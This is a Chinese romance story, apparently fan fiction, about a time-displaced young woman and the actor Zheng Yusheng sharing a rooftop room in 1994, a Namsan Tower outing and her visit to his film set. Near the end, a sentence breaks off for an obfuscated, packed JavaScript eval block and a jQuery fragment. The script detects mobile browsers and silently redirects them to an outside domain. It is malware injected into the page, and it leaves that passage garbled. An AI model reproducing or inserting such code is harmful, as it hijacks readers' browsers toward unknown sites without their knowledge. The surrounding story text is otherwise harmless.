屋塔房的早晨，总是带着一点潮湿的木香，算是旧时光的味道，又或者就是在时时刻刻告诉她，这是在过去也不一定。
谢安琪醒来的时候，郑禹胜已经不在床上。她习惯性地抬手，摸到空荡荡的位置，指尖在床单上停了一下，才缓缓坐起来。
从厨房传来细碎的碰碗声，还有微弱的水沸声。她裹着毛毯走过去，看到郑禹胜正蹲在矮灶前，小心翼翼地看着那口旧锅。
他听见脚步声，转头看谢安琪，眼神里闪过一瞬的慌张，但很快又恢复成那种别扭的淡定，就像前两天动不动就紧张发脾气的人不是他一样。
“你怎么又起来这么早……”她声音里带着刚睡醒的沙哑，听起来像猫咪轻轻打呼。
“怕你饿。”他说，眼睛盯着锅里，不敢直视她。
谢安琪走过去，从背后环住他的腰，把脸埋进他背上，呼吸一下子变得很安静。
“谢谢你。”她轻声说。
郑禹胜没有回头，只是把锅里的面条小心搅了搅，肩膀轻轻抖了一下。
面煮好后，他把碗端到桌上，随手推给她，自己却坐到对面，低头摆弄筷子，谢安琪看着那碗冒着热气的面，鼻尖轻轻发酸。她拿起筷子，挑了一口，轻轻吹了吹，吃得很慢。
“咸吗？”他突然问，语气有些紧绷。
“很好吃。”她笑着回答，嘴角沾了一点汤，他伸手用拇指替她擦掉，动作小心得像是触碰易碎的玻璃。
她盯着他看，眼睛亮亮的，想说些什么，却只是继续吃面。
郑禹胜没有再说话，但似乎这样的陪伴就是很珍贵的，他会时刻夹各种小菜在她的碗里，谢安琪虽然不是很想吃，但最后也还是就着面条吃掉了。
自从回到1994年的屋塔房后，谢安琪把那张磁带放到旧收音机里，按下播放键，屋里忽然响起带着电流杂音的旋律。
郑禹胜正蹲在角落拆包装，听见歌声，手微微顿了一下。
“别换啊，我想听完。”她一边说，一边从柜子里拿出那个小相机。
“又拍？”他抬头，看见她举着相机，眉头皱得更紧。
“嗯，拍你认真拆零食的样子。”她笑，按下快门，伴着一声咔嚓，画面定格。他本来想起身躲开，却被她一下拉住衣角，拉得很轻，却让他动弹不得。
“再拍一张。”她说，眼睛亮得像夜里海面上的星光。
郑禹胜别过脸，轻轻呼出一口气，最终还是没再挣扎，谢安琪按下快门，看着相机里的那一帧，轻声笑了：“拍到了。”
应该是熟悉了和她相处，郑禹胜已经会主动开口问她要不要去屋顶坐坐，建筑区高，安静，还有风。
晚饭后，郑禹胜拿出一几瓶啤酒，提议去屋顶坐坐。他们一人一瓶，坐在旧椅子上，风带着夜里微凉的味道，把她头发吹得有些乱。
他伸手帮她理好头发，手指停在她耳后，动作很慢，几乎舍不得离开。
“以后……”他开口，却没说完，语气带着试探。
“以后怎样？”她侧头看他，轻轻笑。
“以后，如果我们还能在一起……我想你每天都这样坐在这里。”他说，声音低沉，像一片柔软的夜色。
她听着，心口被轻轻揪了一下，忍不住把手伸过去，抓住他放在椅子扶手上的那只手。
“好啊，以后很多很多天，都坐在这里。”谢安琪轻声答。郑禹胜低下头，看着她紧握自己手的样子，慢慢收紧指尖，和她十指相扣。
风吹过屋顶，他们相视而笑。这笑，带着一种刚刚被发现的小秘密，也像是对未来许下的某种静默而坚定的誓言。
“你想爬山吗？” 谢安琪突然问着，转身看着他似乎是知道郑禹胜一定会答应一样一般，谢安琪脸上带着笑，碎碎的头发在她的脸上留下一丝痒痒的痕迹。
“好，明天吗？” 郑禹胜如她想的一样，很快就答应了。
第二天一早，谢安琪被一阵轻轻的摇晃叫醒。
“起来。”郑禹胜低声说。
她迷迷糊糊睁开眼，看见他换好了衣服，头发被晨风吹得微微翘起，看起来有点狼狈，却意外可爱。
“去哪啊……这么早。”她揉了揉眼睛，声音还带着困意。
“去南山塔。”他站在床边，眼神有一丝闪躲，“不是说想去很久了？”
谢安琪愣了愣，随即笑开，抱住毯子坐起来，声音一下亮了：“对哦！我都忘记了！”
“快换衣服。”他别过脸，耳尖染上浅浅的红，她看着他的侧脸，心里忽然一阵柔软，像是夏日微风吹进胸口。
他们一路坐公交到南山脚下，晨风凉爽，阳光透过树叶在地面洒出斑驳的影子。人不多，偶尔有跑步的老人经过，空气安静得能听见彼此呼吸。
谢安琪拉着他的衣角，时不时偷偷看他。
“你看什么？”郑禹胜低头问。
“看风景。”谢安琪装作若无其事地说，手却没松开。
“风景在那边。”他抬手指向远处，声音闷闷的。
“可是这边也很好看。”谢安琪抬头，目光直直落在他脸上。
郑禹胜一愣，微微偏过头，喉结上下滚了滚，却没再说话。风吹过，把她的笑声吹到远处的台阶上，留下一串轻轻的回音。
走到半山腰时，谢安琪有些累了，坐在石阶上喝水。郑禹胜也坐下来，背靠着一棵松树，胸口微微起伏，呼吸还算平稳。
“你体力比我好。”谢安琪喘着气，声音软软的。
“早说过，让你别乱跑。”郑禹胜侧过脸，看着她泛红的脸颊，嘴角忍不住微微抖了一下。
谢安琪笑着把水递给他：“补充一下吧。”他接过，轻轻抿了一口，却没再递回来，而是握在手里。
“喂，那是我的水。”谢安琪伸手去抢。郑禹胜没松开，只是把水瓶举高，低下头看着她，眼底带着一丝捉弄的光。
“以后少乱跑，就不用这么累。”他说，话里藏着些新的意思。
“你是在说我还是关心我？”她眯着眼，笑意从眼角溢出来。
郑禹胜没有回答，只是把水瓶重新放到她手里，低声说：“喝吧，别着凉。”
终于走到塔顶时，风很大，把她的头发吹得四散开来。她伸手按住发丝，眯着眼看向远处，城市的轮廓在晨光中显得柔软而辽阔。郑禹胜站在她身后，伸手替她挡风，动作缓慢而小心，指尖擦过她耳后，让她心跳一下变快。
“风景很好吧？”他说。
“嗯。”谢安琪点头，视线依旧没离开前方，“比想象中更好。”
“如果以后还能来，我还会带你来。”郑禹胜的声音忽然靠得很近，像是风里藏着的一句悄悄话。谢安琪忽然转过身，看着他那张被风吹得微微发红的脸，鼻尖发酸。
“真的可以吗？”她问，声音颤了一下。
郑禹胜没有回答，只是伸手把她拉进怀里，低头埋进她发间。
“只要你还在，就可以。”他闷声说。
谢安琪靠着他的肩膀，微微打瞌睡。
她小声嘟囔着：“下次想一起看夜景……再带相机……”
“好。”郑禹胜回答，声音极轻，像是一句对未来的允诺。
“还想看樱花，去江边散步……吃年糕……还有……”谢安琪声音越来越小，呼吸变得缓慢。
“还有的话，以后慢慢说。”他低声补了一句，轻轻托住她的后脑，生怕她在路上晃醒。谢安琪没再回答，只是脸在他肩头蹭了蹭，像是找到了最安全的地方。
那一刻，他低下头，看着她安静的侧脸，喉咙里像有一根刺，却被一层柔软裹住。
"如果以后都能这样走下去，该多好啊。"他在心里默默说着，手指却悄悄收紧，把她抱得更近。
从南山塔下来时，谢安琪走得很慢，脚步总是停停走走。
有一次，她突然停住，蹲在台阶边，看着一朵被风吹落的小白花。
“你干嘛？”郑禹胜走到她身边，微微俯身。
“好像很可怜，被风吹掉了。”谢安琪小声说，手指轻轻碰了一下花瓣。
“花会再开。”他回答，声音有点闷，却伸手从她发间理下一根小叶子，随手放到口袋里。
她抬头看他，目光亮亮的，轻轻歪了歪头。
“你口袋里都装什么啊？”
“装你的废话。”他说完，脸忽然有些红，立刻快步往下走。
她愣了一秒，随即忍不住笑出来，连跑几步追上他，伸手抓住他衣摆。
“郑禹胜，你好幼稚哦。”她一边笑，一边喘气。
“别扯我衣服。”他回过头，眼底带着一点无奈的笑意，却没有甩开。
他们在台阶上这样拉扯了好久，直到有人从后面经过，两人才终于停下，互相看了一眼，又忍不住笑。
回到山脚，已经接近傍晚，街边摊位灯光一盏接一盏亮起来，空气里飘着炒年糕和鱼饼的香味，谢安琪盯着小摊子看了很久，眼睛都快要发光。
郑禹胜叹了一口气，主动掏出钱包，语气无奈又带着纵容：“走吧，去吃。”
她高兴地牵着他的手跑过去，像小孩子一样，声音轻快。他们坐在矮矮的塑料椅上，一人一碗热腾腾的鱼饼汤，呼吸间全是香气。
“好吃吧？”她夹起一块递到他嘴边，笑容灿烂。
“你先吃。”郑禹胜偏头躲开，但最后还是没忍住，张口吃了。她忍不住盯着他看，眼神里像盛着整条小巷的光。
“以后……我们也可以经常来吃。”谢安琪轻声说。
他抬眼看她，喉结轻轻动了一下，没回答，只是伸手帮她擦掉嘴角的汤渍。
那一瞬，谢安琪心里像被轻轻拨了一下，暖得发烫。回到屋塔房时，谢安琪兴奋到在小桌旁一边拆刚买的糖果，一边跟他讲今天在台阶看到的鸟、路边摊的香气，还有买围巾的老太太。
郑禹胜坐在一旁，一边帮她把糖纸丢进垃圾桶，一边默默听着。
“你都不插话？”她停下来，抬头看他。
“怕打断你。”郑禹胜低声说，眼神里带着安静的笑。她愣了愣，心里忽然很酸，指尖轻轻碰了碰桌沿。
“你一直都这样，表面冷淡，其实心里全是细节。”她小声嘟囔。
“你听到了就好。”郑禹胜说完，慢慢伸手，把她手里的糖果剥开，递到她嘴边。她没有接，只是含着眼泪盯着他，过了几秒，才低头张口咬住。糖的甜味蔓延到胸口，她忽然想哭，但只咬紧糖块，拼命忍住。
时间带来的分离总是会存在的，这是必然的，也或许是一种不可避免的趋势。
………
晚餐过后，两人一起收拾碗碟。郑禹胜看起来像是不会洗碗一样，动作生硬，还常常把水溅到自己袖子上。
谢安琪在一旁忍不住笑，几次想帮忙，都被他用背挡住。
“你去休息。”郑禹胜说，语气带着倔强。
“可是你这样，会把厨房洗成泳池。”她推了推他，笑得直不起腰。
“闭嘴。”他小声说，侧脸涨得发红，她见他认真，却又笨拙得可爱，忍不住伸手，轻轻从背后环住他。
他手里的碗差点滑下去，整个人僵了一秒。
“谢安琪，别闹。”他声音紧了，仿佛连呼吸都停住。
“好啦，不闹了。”她笑着松开，靠在门框上看他继续笨手笨脚地洗碗。
这一刻，连碗里溅出的水声，都变成了房子里最温柔的乐曲，收拾完后，她在窗边摆了两杯温水，靠着窗框坐下。
郑禹胜走过来，先是站着看她，最后还是默默坐到她旁边，窗外的夜风轻轻吹进来，带着一点初秋的凉意。
她把头靠到他肩上，小声开口：“今天谢谢你，陪我去南山塔，陪我一路发疯。”
他偏头看她，眼神很深，像是想说什么，却只轻轻嗯了一声。
“以后也要这样啊。”她继续说，声音更低，“一起慢慢走路，一起吃夜宵，一起看星星……”
“以后……”他低声重复，语气里带着无比的认真。
谢安琪抬头看他，眼底的光缓缓浮动，嘴角微微弯起。
“好。”
那一瞬间，所有的未来都像被写在这个屋塔房的小小窗框里，被风吹得很轻，却无比清晰。郑禹胜拍戏结束很晚，回到屋塔房的时候，屋里只留着一盏小灯。
谢安琪趴在桌上，睡着了，手边散落着几张便签纸，字迹歪歪扭扭。他轻轻走过去，拿起最上面一张，看到写着：“今天风很凉，希望他早点回来看见这句话。”
郑禹胜抿了抿唇，把便签轻轻放回原位。她呼吸很浅，发丝贴在脸颊上，像一只无防备的小兽。
郑禹胜蹲下来，伸手把她脸侧的碎发别到耳后，指尖停留在她脸上，慢慢滑过，郑禹胜想过很多遍，要不要直接问她：“你是不是还会走？会不会再次消失？”
但每次话到嘴边，都被胸口那股莫名的慌意堵住。
再一次去屋顶发呆，是谢安琪主动提议去屋顶透透气，郑禹胜抱着旧毛毯跟上去，风比前几天更大一些，吹得她的发尾不停在空中摇晃。她坐在小椅子上，膝盖抱着毛毯，目光一会儿看天空，一会儿看他。
“你还记得第一次我们一起在屋顶吃面吗？”她突然开口，声音轻得像要被风卷走。
“记得。”他说，没有犹豫。
“那时候你很烦我，总是故意挑我的面，假装嫌弃，结果最后都吃完。”
“是你自己吃太慢。”他别过头，语气闷闷的。
谢安琪笑了，轻轻碰了碰他的胳膊。
“谢谢你，那时候没赶我走。”她低声说。
他抿着唇，指尖用力抓着椅子扶手，喉结微微上下动着，却没有回答。谢安琪把视线转回星空，长长地呼出一口气。
“有时候，我很怕。”谢安琪说。
“怕什么？”他问，眼神紧紧落在她脸上。
“怕有一天，我又消失，你找不到我。”她侧过脸，看着他，眼底的光一瞬间变暗。
“我会找到你。”他迅速回答，几乎不容她有任何犹豫，她愣了一下，睫毛轻轻抖动，嘴角慢慢弯起来，笑得有些酸。
“你每次都这么说，好像很笃定。”她说。
“因为不管哪条线，我都要找到你。”他声音低，像是从胸腔最深处挤出来的坚定，她伸手，轻轻握住他放在膝盖上的手，指尖缓慢摩挲着他的掌心。
“那……只要我还能看见你，就不算离开，对吧？”她低声问。
“嗯。”郑禹胜答，轻轻收紧指尖，和她十指相扣。
……
害怕她的离开，已经是郑禹胜总是会考虑的事情，有一天下午，谢安琪准备独自去超市买些菜，刚走到楼道，就被郑禹胜拉住。
“去哪？”郑禹胜问，语气里带着莫名的紧绷。
“抄书啊，买点菜。”谢安琪回头看他，脸上带着一丝疑惑。
“我说过，不要自己出去。”郑禹胜皱着眉，声音低沉。
“我只是去买菜，又不是离开。”谢安琪忍不住提高了音量，心里有一阵说不清的委屈涌上来。
“我不管。”郑禹胜重复，神情倔强得像堵墙。
“你这样很烦人，郑禹胜！”她用力甩开他的手，转身走到楼道口。
郑禹胜怔住，眼神一下子暗下来，指尖还保持着被甩开的姿势。她走了两步，却又停下，回头看他，鼻尖微微泛红。
“我不是要离开你，我只是想呼吸。”谢安琪声音颤着，快要哭出来。郑禹胜站在原地，拳头缓慢收紧，眼神像被什么打碎，胸口剧烈起伏。
过了很久，他才慢慢走到她身边，低着头，呼吸不稳。
“对不起……”他开口，声音闷得几乎听不见。
谢安琪看着他，眼底湿润，咬着唇不说话。
“我……我只是怕你再走。”他慢慢抬起头，眼睛里写满了挣扎，“怕你再一次没有告别就不见了。”
她一愣，泪水终于从眼底涌出来，顺着脸颊滑落。
“我不会走……”她哽着嗓子，伸手抱住他，“就算我走，也会回来找你。”郑禹胜抬手，缓慢而小心地环住她，把她整个抱进怀里，力道带着一种决绝的笃定。
风从楼道口吹过，带走那些尖锐的质问，只剩下彼此靠近的呼吸声。他们就那样站着，谁也没有再说话，却都在心底默默答应了什么。
那天晚上，屋塔房的灯没有关。谢安琪洗完澡出来，看见郑禹胜坐在窗边，手里握着那张写着我会等你的便签，指尖慢慢摩挲着。
郑禹胜听见她脚步声，头也没抬，只是把那张便签轻轻放回桌角。她走过去，在他身后停下，低头看着他微垂的侧脸，想伸手，却迟疑了一瞬。
“你是不是很怕……”谢安琪开口，声音轻得像一缕风。
“嗯。”他没有回头，只是应了一声。
“可我也怕。”她抬起手，缓缓放到他肩上，“怕哪天再醒来，就不在这条线里了。”
郑禹胜身体轻轻一颤，没说话，只是缓慢地把她的手握住，拉到自己胸口。那里的心跳很快，热得像要从皮肤里涌出来。她的手被他紧紧握着，指尖都被他捂热。很久以后，他终于抬头，眼睛里带着浓重的夜色。
“以后，不管我多晚回来，都要留这盏灯，好吗？”郑禹胜轻声说。
她愣了愣，随即点头，鼻尖有些发酸。
“留着灯，就算不在屋里，我也会知道你在等我。”他说，声音很轻，却压着一种想了很久才敢说出来的坦白。
谢安琪走到桌边，把那张便签重新拿起来，轻轻展开，看了一眼后，抿唇笑了。
“好啊。”她说，笑里带着水光。
郑禹胜起身，走过去，从她手里接过便签，重新夹进书里，动作小心得像在放一颗心脏。
“谢谢你。”她抬头看他，眼神温柔得像月光。
郑禹胜低下头，额头轻轻抵在她额头上，闭着眼，呼吸缓慢而沉稳。
他们一起坐在矮桌旁，桌上摆着半杯温水和一小碟蜜饯。
“小时候，我很喜欢晚上。”她忽然开口，捻着一颗蜜饯，语气放松下来。
“为什么？”他问。
“因为晚上没人会盯着我做什么，可以做梦，也可以写乱七八糟的故事。”她笑着说，抬头看他。
“那现在呢？”
“现在啊……因为晚上可以和你坐在这里，不用想明天，也不用想要不要离开。”谢安琪慢慢说，声音越来越轻。
郑禹胜低着头，轻轻捻着桌角的水珠，忽然抬起眼。
“那以后，每个晚上都这样。”他说，语气平稳，却带着一种不容拒绝的坚定。
“每个晚上？”她挑眉，笑了，“太贪心了吧。”
“那也没关系。”他回答，指尖轻轻扣住她的手，“我就想这么贪。”
她拿出一个小本子，翻开第一页，里面写着几行歪歪扭扭的字。
"想看一场夏夜的露天电影"
"想一起去集市买一把最便宜的花"
"想两个人一起等第一场冬雪"
"想和他一起在屋顶睡到星星全部看不见"
郑禹胜默默看着，眼神里像有一片波光，缓缓荡开。
“这些都是真的？”他低声问。
“嗯，都是真的。”她点头，眨着眼睛。
“那我们一个一个完成。”他说，语气轻柔而坚定，“从明天开始。”
她一愣，慢慢露出一个笑，眼角有些湿润。
“你怎么总是这样，把所有梦都当真。”
“因为你的梦对我来说，比什么都真。”他说，声音很小，却直击她心底。
他们一起把那本子合上，轻轻放在桌角，屋子里很安静，只剩下钟表轻轻地嗒嗒声。谢安琪靠在他肩上，闭着眼，呼吸缓慢。
“以后，就算我看不见你，你也要在我的梦里出现，好吗？”谢安琪声音很低，像是迷糊间说出的梦话。
郑禹胜没回答，只是抬手，轻轻把她的头按到自己肩窝里，另一只手落在她背上，缓慢地拍着。
“会的。”他低声说，像是一句晚安，也像是一封写给未来的信。
窗外的风带着夜里小摊的香气，屋顶偶尔传来猫爬过的声音，远处城市的灯火散成一片，温柔而安稳。
他们就这样依偎着，慢慢睡着。在这条时间线里，一切都显得那么稀松平常，却又比任何梦都要真实、珍贵。
头顶的星空很清晰，隔着窗户吹进来的风轻得几乎没有声息。郑禹胜坐在她旁边，双手插在毛毯里，看着她半侧的脸，目光安静。
“今天的星星好多啊。”她轻轻说，声音被风吹得有些发颤。
“嗯。”他回答，喉结动了一下，视线却没有移开。
“我小时候，常常躺在老家屋顶上，自己数星星。数着数着就睡着了，第二天一醒来，星星都不见了。”谢安琪说，唇角轻轻抿着，眼神温柔又有一点遥远。
“现在也可以啊。”他低声说，“我陪你数。”
她偏头看他，眼底有一层湿润的光。
“你不会觉得无聊吗？”
“不会。”他回答得很快，像是一种几乎不需要思考的本能。
谢安琪看着他，眼神像被月光打碎，柔软到几乎要溢出来，他们躺下在床上，窗户开着，肩并肩看着夜空半截的夜空。
“那要许愿吗？”她突然问，声音很轻，带着一点调皮。
“随便。”郑禹胜别过头，装作不在意。
“你怎么总是这样，看似不在意，其实心里全都记着。”她笑，鼻音有些重。
郑禹胜没有说话，只是轻轻转回脸，盯着那片星空。谢安琪闭上眼，小声许愿，嘴唇微微翕动。等她睁开眼，发现他一直在看她，目光专注得让人心里发烫。
“你刚才在看什么？”谢安琪问，声音发虚。
“看你。”他回答，声音低到几乎被风吹散。
“为什么不许愿？”
“我的愿望就在我旁边。”他说。
谢安琪愣住，喉咙像被什么堵住，半天说不出话，只能伸手，紧紧抓住他放在身侧的手，他也缓缓收紧指尖，和她十指交扣。
那一刻，所有的夜风和星光，似乎都凝在他们之间，谢安琪深呼吸一口，像是积攒勇气。
“如果以后我们真的可以一直在一起，我想开一家小店。”她说，声音带着一点小心翼翼。
“开什么店？”
“卖旧磁带、旧相机、还有一些手写明信片。”谢安琪说，眼睛渐渐亮起来，“你可以写你自己的文字，我帮忙画插图。”
郑禹胜静静听着，唇角慢慢弯起，像是心底最深处被某种温热慢慢浸润。
“那你想住哪里？”他问。
“屋顶。”她很快回答，笑容像风一样轻快，“屋顶有风，有星星，有你。”
“这样很累。”他说，声音里带着一丝无奈的宠溺。
“那你会陪我吗？”谢安琪抬眼看他，目光像一池清水，装着月亮和星星。
“会。”他回答，几乎没有停顿。
她盯着他看，最后笑着把脸埋进毛毯里，肩膀轻轻颤动。夜更深了，远处的城市灯火一点点熄灭。
她慢慢闭上眼，轻声说：“我想就这样睡在这里，不关窗户了。”
“会着凉。”他提醒，语气里却没有真的拒绝。
“那你帮我挡风啊。”她软软地说，像小动物撒娇。
郑禹胜没再说什么，只是把毛毯往她身上又拉高一些，手臂也伸过来，轻轻圈住她的肩。谢安琪微微偏头，能感觉到他贴着自己呼出的热气，那种安全感让她放松到几乎要睡着。
“谢谢你。”她含糊地说，声音里混着困意和小小的笑。
“睡吧。”他低声说，指尖轻轻拍着她的背，像是在哄小孩。
谢安琪闭着眼，嘴角还挂着一抹柔软的笑。
风吹过他们的头顶，星空像一张巨大的幕布，安静地覆盖在夜里。她在半梦半醒间，感觉到他慢慢收紧环在自己肩上的手臂。
“以后，我们就这样慢慢走，好不好？”她含糊地问。
“好。”他低声应，声音被夜色裹住，却很坚定。
“你不能比我先走。”她又小声嘀咕。
“不会。”他说。
她轻轻嗯了一声，呼吸渐渐缓慢，整个人靠在他怀里完全放松下来。郑禹胜低下头，看着她已经沉睡的脸，呼吸里透着一种小心翼翼的温柔。
“以后……只要你还想走，我就跟着走。”他轻轻在心底说，没有发出声。
星星一颗一颗亮着，月光把他们的影子拉得很长，在屋顶轻轻晃动，像一封写给未来的情书。直到快到清晨的时候，她忽然醒了一下，轻轻动了动，发现自己还靠在他怀里。
“没睡就别乱动。”郑禹胜低声说，声音带着一点困意和沙哑。
“我只是想看看你在不在。”谢安琪小声说，声音软得像棉花。
郑禹胜轻轻叹了口气，伸手把她的额发别到耳后。
“以后，不用每次都确认我在不在。”他顿了顿，语气缓慢而笃定，“我一直都在。”
谢安琪愣了几秒，忽然笑了，轻轻“嗯”了一声，手指在他胸前抓了抓，像只小动物找安全感。
“那如果有一天，我们真的能有一家店……”她含糊地说，“我想在店门口挂一块木牌，写上‘这里有人等你’。”
“……傻。”他低低笑了一声，却没有反驳。
风吹过她发梢，吹过他含着笑意的呼吸，夜色好像比任何时候都要软。突然，她轻轻拍了拍他手臂，声音很小：“我还想吃你煮的汤。”
“现在？”郑禹胜挑眉，低头看她。
“嗯，现在。”谢安琪睁着一双亮晶晶的眼睛，像小孩临睡前要糖吃。
郑禹胜看着她，嘴角微微抽了一下，最后还是叹了口气，把她轻轻放开。
“等着。”
她看着他披上外套，起身去厨房，悄悄地笑，眼底一点点湿润。几分钟后，他端着一小碗简单的汤回来，汤面冒着白烟，吹进窗户的风把香气吹得四处散开。
“赶紧喝，凉了就难喝。”他递给她，语气仍旧带着别扭的生硬，她接过，轻轻抿了一口，热度烫到舌尖，却忍不住再次笑了。
“很好喝。”她说，眼里含着一点点光。
“随便做的。”他撇开脸，耳朵微微发红。
“随便做的，也很好。”谢安琪补了一句，声音柔得像要融进夜里。
喝完汤后，她把碗放到一边，靠回他怀里。
“以后，我还想喝很多很多碗汤。”她轻声说，像是自言自语，又像是在跟他订一个很小的愿望。
“都给你做。”郑禹胜说。
“你会不会腻啊？每天都要照顾我，听我胡思乱想。”
“不会。”郑禹胜说得很慢，像是反复在心底确认过才敢说出口。
“那你会不会觉得，我很麻烦？”
“会。”郑禹胜忽然回答得很直接，谢安琪愣住，刚想抬头抗议，却听到他又慢慢补了一句：“但就是喜欢麻烦你。”
谢安琪顿了一秒，忽然笑得止不住，整个人轻轻颤抖，眼泪也跟着滑下来，他一手搂住她，一手伸过来帮她抹掉泪，动作笨拙又轻柔。
“哭什么？”郑禹胜皱眉，却声音低得像怕吓到谢安琪。
“被喜欢的感觉，太麻烦了。”谢安琪含着笑，含着泪，语气里满是幸福。谢安琪缓缓抬头，看着屋顶那轮圆月，眼睛里像藏着星光。
“月亮今天好圆啊。”谢安琪轻声说。
“嗯。”郑禹胜应，跟着抬头看，月光在他侧脸上落下浅浅的白光，柔和得让人不敢移开视线。
“你说，月亮会不会也在偷偷看我们？”谢安琪问，声音像一缕风，轻到几乎听不见。
“它要是有眼睛，现在都被你笑哭了。”他回，语气依旧闷，却被风吹开，带着一点柔软的笑意。
“那要跟月亮打个招呼。”谢安琪眨眨眼，抬手对着月亮挥了挥，郑禹胜看着她的动作，心里忽然涌出一阵酸意，喉咙微微紧了，却忍住没有说话。
“你好啊，月亮。”她轻轻说，“这里有人在认真浪费时间呢。”谢安琪看着她，眼底慢慢泛起一层温热，伸手把她拉进怀里。
“我陪你浪费。”郑禹胜在谢安琪耳边轻轻说，声音温热。夜已经很深，谢安琪靠着他，呼吸渐渐平缓，快要睡着。郑禹胜低头看着她，目光专注得像看一封尚未写完的长信。
“以后……”谢安琪开口，却停住。
谢安琪含糊地“嗯”了一声，声音软糯。
“以后，我们的故事也不必写完。”郑禹胜低声说，像是对她，也是对自己。谢安琪没有再回答，只是抓着他衬衫的指尖慢慢收紧。
他抬手，轻轻覆在她的手背上，贴得很紧。风吹过来，带着屋塔房外的什么花香，月光在他们脸上停留了一瞬，安静得好像整个世界只剩下两个人的呼吸。
那一刻，他们都没再说话，只是把所有未出口的情话，埋进彼此的呼吸里。
…………
郑禹胜要去拍电影的那天，清晨的屋塔房格外安静，窗外天还没完全亮，风吹动竹帘，发出轻轻的响声。
谢安琪醒来时，房间里已经没有他的身影。她下床，走到桌边，看到那只被折叠整齐的毛毯和他留的一张小便签："早点吃早餐，别偷懒。"
字迹仍旧带着那种不耐烦的斜钩，但边缘被压得很平整，能看出他写完后小心地留在桌上的心思。
她用指尖轻轻摸着，心一阵一阵发紧，像是被什么温热地揉搓着。
“真是……笨蛋。”谢安琪小声笑着，声音里带着一点鼻音。
那天，她在屋塔房度过了很长的午后。她一个人擦桌子，整理被子，翻找柜子里那些老旧的书，每一个动作都像是一种自我安抚。
阳光透过窗子落进屋子，地板上映出她缓慢走动的影子，孤独又柔软。她时不时抬头看向门口，想象他突然推门进来的样子。
可门一直安静，没有任何响动。她坐在床边，抱着一本书，翻了一页又一页，却一句也没读进去，脑海里一直闪回着他昨晚的侧脸，那个说着"以后我们一起慢慢走"的表情，那样笃定，却又带着隐隐的不安。
她忽然把书扣在膝盖上，抬手按住眼睛，深吸了一口气。
“郑禹胜……”她小声喊了一句，声音像被风吹开的花瓣，轻飘飘，最后消散在屋子里。
黄昏来得很快，巷子里附近店铺做活动的音乐声一阵阵传上来，屋塔房的灯光渐渐被外面橘色的余晖吞没。
谢安琪把晚饭热好，却只动了几口，就放下筷子。她走到窗前，趴在窗框上，看着楼下偶尔走过的行人。
有情侣肩并肩走过，也有老人牵着孩子缓慢经过，她忽然觉得，这个世界这么热闹，却又与自己无关。
风吹乱她的头发，她没有去理，目光空落，像在找什么，却又像知道不会找到。
忽然，一阵凉风灌进屋里，她打了个小小的寒颤
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15925845|169893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，转身把窗关上。屋子里瞬间变得闷热，她靠在窗边，缓缓滑坐到地上，背贴着冰凉的木板，抱着膝盖。
“好像……有点想他了。”谢安琪把脸埋在臂弯里，声音闷闷的，像是对自己说，也像是在对某个更远的他低语。
深夜，谢安琪在床上翻来覆去，怎么都睡不着。
一闭上眼，就是他离开那天早晨的身影：背影修长，肩膀微微抖着，手里拎着简单的行李，动作轻得像怕吵醒她。
谢安琪越想，心越痒，忍不住爬起来，坐到桌前，拿出那本写着未来小清单的小本子。她翻开来，里面写着密密麻麻的"想一起完成的事"，每一项旁边都空着小方框。
她用笔轻轻点了一下第一个方框，写下：“想去他拍电影的现场，看他属于世界的样子。”
她写完，看着那行字发了很久的呆，忽然下定决心般地站起来。
“明天……去找你。”谢安琪小声说，目光亮起来，像是被什么悄悄点燃。
第二天清晨，谢安琪从屋塔房出发，穿着一件薄外套，怀里紧紧抱着那本小本子。一路上，风把她头发吹得一缕一缕，她没心思整理，只低头走得很快。
到片场门口时，她停住了，呼吸变得急促。门口贴着今天拍摄计划表，上面写着郑禹胜的名字，还有角色信息。
她看着那几个字，胸口忽然轻轻发疼，像被什么细小的针慢慢扎着。
"他真的在变得越来越远了啊，或者说越来越是那个本来要成为的样子了。”
她这样想着，手指在本子边缘一点点摩挲，像是在抓住什么无形的东西。透过片场临时搭的围挡，她看见他在排练。
郑禹胜站在摄像机对面，神情冷冽，目光犀利，背脊挺直，完全不是在屋塔房里那个别扭安静、帮她煮面的小男孩。
他在现场走位、和导演讨论动作，偶尔低头看剧本，嘴唇轻轻动，眉头紧锁。谢安琪第一次清晰地感受到，他是真的在逐渐成为一个更大世界的人。
谢安琪抓着围挡的手指慢慢收紧，视线一点点模糊。
"这样啊……原来这才是他真正的样子。"
有人看见她，误以为她是来帮忙的工作人员，随口喊了一声：“那边的，过来帮忙搬一下道具！”
谢安琪愣了一下，下意识走过去，接过一块木板，笨拙地跟着别的人一起搬到侧边。
有人递给她一瓶水，说：“辛苦啦！”
谢安琪慌慌张张道谢，转身时，恰好和郑禹胜对上了视线。
郑禹胜先是愣住，随即眼神一沉，像是压着什么情绪，紧紧盯着她，什么也没说，只是皱紧了眉。
谢安琪立刻移开视线，心跳乱得几乎要冲出胸腔。她想假装没看见，低头快步离开，却被导演叫住：“小姑娘，等等，把这些水分一下！”
谢安琪手忙脚乱地接过水，脚步踉跄。郑禹胜看着她的动作，拳头慢慢收紧，忍了很久，最后快步走过来，从她手里接过水瓶。
“我来。”他说，声音低而冷，眼底有压不住的火。
导演愣了一下，笑着说：“哟，禹胜今天怎么这么勤快？”
他没回答，只低头看着谢安琪，眼神里藏着一股被压抑很久的情绪，几乎要溢出来。谢安琪张着嘴，喉咙像被卡住，只能盯着他，心底一阵一阵发凉，又发热。
他把水瓶一个一个递给其他演员，动作看似随意，却总是用余光看她。谢安琪抱着空水箱，站在一旁，肩膀微微颤抖，手指紧紧攥住衣角。
谢安琪看见他和别人谈笑，看见别人对他笑，看见他偶尔露出礼貌的笑容，那笑容里没有她熟悉的别扭与稚气，只有成熟与疏离。
“他是属于这个世界的……”她心里反复默念，眼眶泛红。
可就算这样，她还是忍不住想靠近，想把他的每一个细节都看进心里。
